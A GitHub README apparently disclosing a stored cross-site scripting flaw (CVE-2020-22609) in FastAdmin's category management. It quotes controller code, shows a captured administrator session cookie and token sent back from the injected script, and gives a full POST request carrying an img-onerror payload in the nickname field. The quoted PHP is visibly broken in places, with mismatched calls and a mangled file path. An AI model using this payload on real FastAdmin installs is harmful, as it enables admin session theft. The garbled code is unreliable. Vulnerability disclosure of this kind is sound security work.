

main

...

Fastadmin-V1.0.0.20200506_beta / README.md



BigTiger2020 Update README.md

History

1 contributor

16 lines (16 sloc) | 1.25 KB

...

Fastadmin-V1.0.0.20200506_beta - Stored cross-site scripting attacks

CVE ID: CVE-2020-22609

Affected products: Fastadmin

Vulnerability type: Stored cross-site scripting attacks

Version :V1.0.0.20200506_beta

Product manual : FastAdmin is an extremely fast background development framework based on ThinkPHP5+Bootstrap.

Vulnerability description: fastadmin V1.0.0.20200506_beta contains a cross-site scripting (XSS) vulnerability which may allow an attacker to obtain administrator credentials to log in to the background.

1. Through audit analysis of \application\admin\controller\Category.php, it was found that no comprehensive filtering was performed

```
E:\phpstudy_pro\WWW>1.0.0.20200920_full>application>admin>controller>Category.php
45  * 查看
46  */
47  public function index()
48  {
49      //设置过滤方法
50      $this->request->filter(['strip_tags']);
51      if ($this->request->isAjax()) {
52          $search = $this->request->request("search");
53          $type = $this->request->request("type");
54
55          //构造父类select列表选项数据
56          $list = [];
57
58          foreach ($this->categorylist as $k => $v) {
59              if ($search) {
60                  if ($v['type'] == $type && strpos($v['name'], $search) !== false || strpos($v['nickname'], $search) !== false) {
61                      if ($type == "all" || $type == null) {
62                          $list = $this->categorylist;
63                      } else {
64                          $list[] = $v;
65                      }
66                  }
67              } else {
68                  if ($type == "all" || $type == null) {
69                      $list = $this->categorylist;
70                  } elseif ($v['type'] == $type) {
71                      $list[] = $v;
72                  }
73              }
74          }
75
76          $total = count($list);
77          $result = array("total" => $total, "rows" => $list);
78
79          return json($result);
80      }
81      return $this->view->fetch();
82  }
83
84  /**
85   * 编辑
86   */
87  public function edit($ids = null)
88  {
89      $row = $this->model->get($ids);
90      if (!$row) {
91          $this->error(__('No Results were found'));
92      }
93      $adminIds = $this->getDataLimitAdminIds();
94      if (is_array($adminIds)) {
95          if (!in_array($row[$this->dataLimitField], $adminIds)) {
96              $this->error(__('You have no permission'));
97          }
98      }
99
100     if ($this->request->isPost()) {
101         $params = $this->request->post("row/a");
102         if ($params) {
103             $params = $this->preExcludeFields($params);
104
105             if ($params['pid'] != $row['pid']) {
106                 $childrenIds = Tree::instance()->init(collection($app\common\model\Category::select()->toArray()->getChildrenIds($row['id'], true));
107                 if (in_array($params['pid'], $childrenIds)) {
108                     $this->error(__('Can not change the parent to child or itself'));
109                 }
110             }
111         }
112     }
113 }
```

2. Click the category management-edit-nickname box to insert xss statement

The screenshot displays a web application interface for category management. At the top, there is a navigation bar with tabs for '列表' (List), '添加' (Add), '编辑' (Edit), and '删除' (Delete). Below this is a table listing categories. The table has columns for 'id', '名称' (Name), '描述' (Description), '状态' (Status), '操作' (Actions), '排序' (Order), '创建时间' (Creation Time), and '更新时间' (Update Time). A red box highlights the '编辑' (Edit) button for the category with id 13. Below the table, there is a form for editing a category. The form includes fields for '名称' (Name), '描述' (Description), '状态' (Status), and '排序' (Order). A red box highlights the '名称' (Name) input field. A modal dialog box is open, displaying the message '此站点提示...' (This site提示...) and a '确定' (Confirm) button.

id	名称	描述	状态	操作	排序	创建时间	更新时间
13	测试2	测试2	启用	编辑	13	2020-09-20 10:00:00	2020-09-20 10:00:00
12	测试1	测试1	启用	编辑	12	2020-09-20 10:00:00	2020-09-20 10:00:00
5	软件产品	软件产品	启用	编辑	5	2020-09-20 10:00:00	2020-09-20 10:00:00

名称	描述	状态	操作	排序
测试2	测试2	启用	编辑	13
测试1	测试1	启用	编辑	12
软件产品	软件产品	启用	编辑	5
企业管理软件	企业管理软件	启用	编辑	7
SaaS平台软件	company-sass	启用	编辑	11
CRM系统	company.crm	启用	编辑	10
网站建设		启用	编辑	6
移动端		启用	编辑	9
PC端		启用	编辑	8
移动应用	mobileapp	启用	编辑	2
Android开发	android	启用	编辑	4
微信公众号	wechatpublic	启用	编辑	3
官方微博	news	启用	编辑	1

3. Rebound administrator identity information

接收的内容	Request Headers
<ul style="list-style-type: none">location : http://admin.com/admin.php/category?addtabs=1toplocation : http://admin.com/admin.php/category?ref=addtabscookie : PHPSESSID=ou6fjfn717lu02rfm9saaguca4; uid=3; token=f824ac8c-ac7b-4979-a89b-b47dd8e79226charset : UTF-8platform : Win32screen : 1536x864screenshotpic : htmllyuanma : <pre><html lang="zh-cn"><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no"> <meta name="renderer" con</pre>origin : http://admin.comopener : null	<ul style="list-style-type: none">HTTP_REFERER : http://admin.com/admin.php/index/indexHTTP_USER_AGENT : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0REMOTE_ADDR : 113.57.108.135IP-ADDR : 操作系统: Windows 10.0 浏览器: Firefox(版本:77.0)
<ul style="list-style-type: none">location : http://admin.com/admin.php/category?addtabs=1toplocation : http://admin.com/admin.php/category?ref=addtabscookie : PHPSESSID=ou6fjfn717lu02rfm9saaguca4; uid=3; token=f824ac8c-ac7b-4979-a89b-b47dd8e79226	<ul style="list-style-type: none">REMOTE_ADDR : 113.57.108.135IP-ADDR : 操作系统: Windows 10.0 浏览器: Firefox(版本:77.0)

4. payload:

```
POST /FshIEkbMtj.php/category/edit/ids/13?dialog=1 HTTP/1.1
Origin: http://
Referer: http://n/FshIEkbMtj.php/category/edit/ids/13?dialog=1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-Hans-CN,zh-Hans;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19041
Content-Length: 278
Host:
Pragma: no-cache
Cookie: PHPSESSID=7lw7qpbiwnjh16erkpopcdj
Connection: close

row%5Btype%5D=test&row%5Bpid%5D=0&row%5Bname%5D=%E6%B5%8B%E8%AF%952&row%5Bnickname%5D=%3Cimg+src%3D1+onerror%3Dalert(1)%3E&row%5Bflag%5D%5B%5D=recommend&row%5Bimage%5D=%2Fassets%2Fimg%2Fqrcode.png&row%5Bkeywords%5D=&row%5Bdescription%5D=&row%5Bweigh%5D=13&row%5Bstatus%5D=normal
```